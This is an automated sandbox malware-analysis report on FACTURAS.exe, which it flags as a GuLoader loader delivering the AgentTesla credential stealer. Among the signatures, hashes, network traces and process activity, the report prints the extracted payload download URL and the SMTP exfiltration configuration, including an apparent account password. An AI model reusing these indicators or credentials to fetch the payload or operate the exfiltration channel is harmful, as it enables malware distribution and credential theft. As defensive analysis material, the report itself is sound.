Windows Analysis Report FACTURAS.exe

Overview

General Information

Sample Name: FACTURAS.exe
Analysis ID: 531838
MD5: ab82f374210a08b2221d5e1807400a32
SHA1: 6a56b81549185015743deaa196996f73787c5c7d
SHA256: ab41887e471ac822f1240bf554098fa042910f1c7ac2f9e390081829515bc2fa
Infos:

Most interesting Screenshot:

Detection

AgentTesla GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Potential malicious icon found
Multi AV Scanner detection for submitted file
Yara detected AgentTesla
Yara detected GuLoader
Hides threads from debuggers
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to detect Any.run
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
C2 URLs / IPs found in malware configuration
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges
Contains functionality to detect virtual machines (SMSW)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains strange resources
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Uses SMTP (mail sending)
PE / OLE file has an invalid certificate
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to detect virtual machines (SGDT)

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000005.00000000.24364934028.0000000001100000.00000040.00000001.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=download&id=11UpsPasq_HHoJ"}
Source: CasPol.exe.1268.5.memstrmin Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "gulnaz@furteksdokuma.com.tr@Gulnaz159753mail.furteksdokuma.com.trsarahmorg434@gmail.com"}
Multi AV Scanner detection for submitted file
Source: FACTURAS.exe ReversingLabs: Detection: 13%

Cryptography:

barindex
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01575088 CryptUnprotectData, 5_2_01575088
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01575868 CryptUnprotectData, 5_2_01575868

Compliance:

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Uses 32bit PE files
Source: FACTURAS.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: unknown HTTPS traffic detected: 142.250.186.174:443 -> 192.168.11.20:49805 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.185.129:443 -> 192.168.11.20:49806 version: TLS 1.2

Networking:

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C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://drive.google.com/uc?export=download&id=11UpsPasq_HHoJ
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: HETZNER-ASDE HETZNER-ASDE
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 116.202.203.61 116.202.203.61
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=11UpsPasq_HHo9riShtDnotSECFd2czsi HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/8005s8f1oltsnuahdkbclh0bd9255sdi/1638361575000/11612195336931281153/*/11UpsPasq_HHo9riShtDnotSECFd2czsi?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0c-6k-docs.googleusercontent.comConnection: Keep-Alive
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.11.20:49815 -> 116.202.203.61:587
Uses SMTP (mail sending)
Source: global traffic TCP traffic: 192.168.11.20:49815 -> 116.202.203.61:587
Source: unknown Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: CasPol.exe, 00000005.00000002.29215652303.000000001E1A1000.00000004.00000001.sdmp String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: CasPol.exe, 00000005.00000002.29215652303.000000001E1A1000.00000004.00000001.sdmp String found in binary or memory: http://DynDns.comDynDNS
Source: FACTURAS.exe String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: FACTURAS.exe String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: CasPol.exe, 00000005.00000002.29204489618.0000000001299000.00000004.00000020.sdmp, CasPol.exe, 00000005.00000002.29216862860.000000001E2AE000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29221772369.00000000203D9000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: CasPol.exe, 00000005.00000003.24568903553.00000000012C3000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000003.24569225634.00000000012BE000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000003.24573156423.00000000012BE000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29204597889.00000000012AA000.00000004.00000020.sdmp, CasPol.exe, 00000005.00000003.24573675447.00000000012C1000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: CasPol.exe, 00000005.00000002.29216862860.000000001E2AE000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29222008475.0000000020415000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29221772369.00000000203D9000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29221327917.0000000020340000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: CasPol.exe, 00000005.00000002.29204489618.0000000001299000.00000004.00000020.sdmp, CasPol.exe, 00000005.00000002.29216862860.000000001E2AE000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29221772369.00000000203D9000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/cPanelIncCertificationAuthority.crl0
Source: CasPol.exe, 00000005.00000003.24568903553.00000000012C3000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000003.24569225634.00000000012BE000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000003.24573156423.00000000012BE000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29204597889.00000000012AA000.00000004.00000020.sdmp, CasPol.exe, 00000005.00000003.24573675447.00000000012C1000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: FACTURAS.exe String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: FACTURAS.exe String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: FACTURAS.exe String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: FACTURAS.exe String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: CasPol.exe, 00000005.00000002.29216862860.000000001E2AE000.00000004.00000001.sdmp String found in binary or memory: http://furteksdokuma.com.tr
Source: CasPol.exe, 00000005.00000002.29215652303.000000001E1A1000.00000004.00000001.sdmp String found in binary or memory: http://kFWRbv.com
Source: CasPol.exe, 00000005.00000002.29216862860.000000001E2AE000.00000004.00000001.sdmp String found in binary or memory: http://mail.furteksdokuma.com.tr
Source: CasPol.exe, 00000005.00000002.29204489618.0000000001299000.00000004.00000020.sdmp, CasPol.exe, 00000005.00000002.29216862860.000000001E2AE000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29222008475.0000000020415000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29221772369.00000000203D9000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29221327917.0000000020340000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: FACTURAS.exe String found in binary or memory: http://ocsp.digicert.com0C
Source: FACTURAS.exe String found in binary or memory: http://ocsp.digicert.com0O
Source: FACTURAS.exe String found in binary or memory: http://www.digicert.com/CPS0
Source: CasPol.exe, 00000005.00000002.29216704229.000000001E298000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000003.25508640034.000000001CFE1000.00000004.00000001.sdmp String found in binary or memory: https://Z655gVkuIZnhDyQfI.net
Source: CasPol.exe, 00000005.00000002.29216704229.000000001E298000.00000004.00000001.sdmp String found in binary or memory: https://Z655gVkuIZnhDyQfI.nett-
Source: CasPol.exe, 00000005.00000003.24569436789.00000000012F1000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000003.24569082493.00000000012F1000.00000004.00000001.sdmp String found in binary or memory: https://csp.withgoogle.com/csp/drive-explorer/
Source: CasPol.exe, 00000005.00000003.24569436789.00000000012F1000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000003.24569082493.00000000012F1000.00000004.00000001.sdmp String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gse_l9ocaq
Source: CasPol.exe, 00000005.00000002.29204294337.0000000001276000.00000004.00000020.sdmp, CasPol.exe, 00000005.00000003.24569225634.00000000012BE000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000003.24573156423.00000000012BE000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000003.24573675447.00000000012C1000.00000004.00000001.sdmp String found in binary or memory: https://doc-0c-6k-docs.googleusercontent.com/
Source: CasPol.exe, 00000005.00000003.24573939884.00000000012F1000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29204597889.00000000012AA000.00000004.00000020.sdmp String found in binary or memory: https://doc-0c-6k-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/8005s8f1
Source: CasPol.exe, 00000005.00000002.29203974975.0000000001238000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/
Source: CasPol.exe, 00000005.00000002.29203974975.0000000001238000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/H
Source: CasPol.exe, 00000005.00000002.29205726663.0000000001450000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000003.24569225634.00000000012BE000.00000004.00000001.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=11UpsPasq_HHo9riShtDnotSECFd2czsi
Source: CasPol.exe, 00000005.00000002.29216365649.000000001E247000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29215652303.000000001E1A1000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/
Source: CasPol.exe, 00000005.00000002.29215652303.000000001E1A1000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com//
Source: CasPol.exe, 00000005.00000002.29215652303.000000001E1A1000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/https://login.live.com/
Source: CasPol.exe, 00000005.00000002.29215652303.000000001E1A1000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com/v104
Source: CasPol.exe, 00000005.00000002.29204489618.0000000001299000.00000004.00000020.sdmp, CasPol.exe, 00000005.00000002.29216862860.000000001E2AE000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29221772369.00000000203D9000.00000004.00000001.sdmp String found in binary or memory: https://sectigo.com/CPS0
Source: CasPol.exe, 00000005.00000002.29216365649.000000001E247000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: FACTURAS.exe String found in binary or memory: https://www.digicert.com/CPS0
Source: CasPol.exe, 00000005.00000002.29215652303.000000001E1A1000.00000004.00000001.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
Source: unknown DNS traffic detected: queries for: drive.google.com
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=11UpsPasq_HHo9riShtDnotSECFd2czsi HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/8005s8f1oltsnuahdkbclh0bd9255sdi/1638361575000/11612195336931281153/*/11UpsPasq_HHo9riShtDnotSECFd2czsi?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0c-6k-docs.googleusercontent.comConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 142.250.186.174:443 -> 192.168.11.20:49805 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.185.129:443 -> 192.168.11.20:49806 version: TLS 1.2

System Summary:

barindex
Potential malicious icon found
Source: initial sample Icon embedded in PE file: bad icon match: 20047c7c70f0e004
Uses 32bit PE files
Source: FACTURAS.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Detected potential crypto function
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_00403540 1_2_00403540
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_023B086B 1_2_023B086B
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_023B00B5 1_2_023B00B5
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_023B02A1 1_2_023B02A1
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_023B1AE1 1_2_023B1AE1
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_023B1AD8 1_2_023B1AD8
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_023B0385 1_2_023B0385
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_023B05F5 1_2_023B05F5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_00DB0040 5_2_00DB0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_00DB6988 5_2_00DB6988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_00DB1420 5_2_00DB1420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01044320 5_2_01044320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01043A50 5_2_01043A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0104BA50 5_2_0104BA50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0104F758 5_2_0104F758
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0104C7B0 5_2_0104C7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01043708 5_2_01043708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_011179D4 5_2_011179D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0136A9F8 5_2_0136A9F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01368490 5_2_01368490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01368F20 5_2_01368F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01361D28 5_2_01361D28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01366270 5_2_01366270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01572D00 5_2_01572D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_015719B0 5_2_015719B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01577428 5_2_01577428
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01578BD0 5_2_01578BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0157E7F8 5_2_0157E7F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01577E60 5_2_01577E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0157DED5 5_2_0157DED5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0157D2E0 5_2_0157D2E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0157A940 5_2_0157A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0157A9A0 5_2_0157A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01570040 5_2_01570040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0157C380 5_2_0157C380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01575E90 5_2_01575E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01730040 5_2_01730040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_017350F8 5_2_017350F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01736C78 5_2_01736C78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01736048 5_2_01736048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_1E015E08 5_2_1E015E08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_1E0146C4 5_2_1E0146C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_1E016AF1 5_2_1E016AF1
Sample file is different than original file name gathered from version info
Source: FACTURAS.exe, 00000001.00000000.24153554858.0000000000424000.00000002.00020000.sdmp Binary or memory string: OriginalFilenamefilterhjdens.exe vs FACTURAS.exe
Source: FACTURAS.exe, 00000001.00000002.24597665480.00000000022A0000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamefilterhjdens.exeFE2XD vs FACTURAS.exe
Source: FACTURAS.exe Binary or memory string: OriginalFilenamefilterhjdens.exe vs FACTURAS.exe
PE file contains strange resources
Source: FACTURAS.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Tries to load missing DLLs
Source: C:\Users\user\Desktop\FACTURAS.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Section loaded: edgegdi.dll Jump to behavior
PE / OLE file has an invalid certificate
Source: FACTURAS.exe Static PE information: invalid certificate
Source: FACTURAS.exe ReversingLabs: Detection: 13%
Source: FACTURAS.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\FACTURAS.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\FACTURAS.exe Section loaded: C:\Windows\SysWOW64\msvbvm60.dll Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\FACTURAS.exe "C:\Users\user\Desktop\FACTURAS.exe"
Source: C:\Users\user\Desktop\FACTURAS.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FACTURAS.exe"
Source: C:\Users\user\Desktop\FACTURAS.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FACTURAS.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\FACTURAS.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FACTURAS.exe" Jump to behavior
Source: C:\Users\user\Desktop\FACTURAS.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FACTURAS.exe" Jump to behavior
Source: C:\Users\user\Desktop\FACTURAS.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\InprocServer32 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\FACTURAS.exe File created: C:\Users\user\AppData\Roaming\XvFu5flZcgudIlwvVLtjOx372 Jump to behavior
Source: classification engine Classification label: mal100.rans.troj.spyw.evad.winEXE@6/1@3/3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7140:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7140:120:WilError_03
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior

Data Obfuscation:

barindex
Yara detected GuLoader
Source: Yara match File source: 00000005.00000000.24364934028.0000000001100000.00000040.00000001.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_0040A86B push ebx; retf 1_2_0040A86D
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_0040A00A push EDF1CA21h; ret 1_2_0040A010
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_00409212 push ecx; retf 1_2_0040922A
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_00404AC6 push ebp; ret 1_2_00404AC7
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_00404AD5 push cs; iretd 1_2_00404AD8
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_0040A2B2 push ss; retf 1_2_0040A2B4
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_00406DF9 push edi; iretd 1_2_00406DFA
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_023B1C3F push EBA42B5Fh; ret 1_2_023B1C44
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_023B371C push eax; iretd 1_2_023B371F
Source: C:\Users\user\Desktop\FACTURAS.exe Code function: 1_2_023B335A push eax; ret 1_2_023B335B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01733D0A push eax; retf 5_2_01733D51
Source: C:\Users\user\Desktop\FACTURAS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\FACTURAS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\FACTURAS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
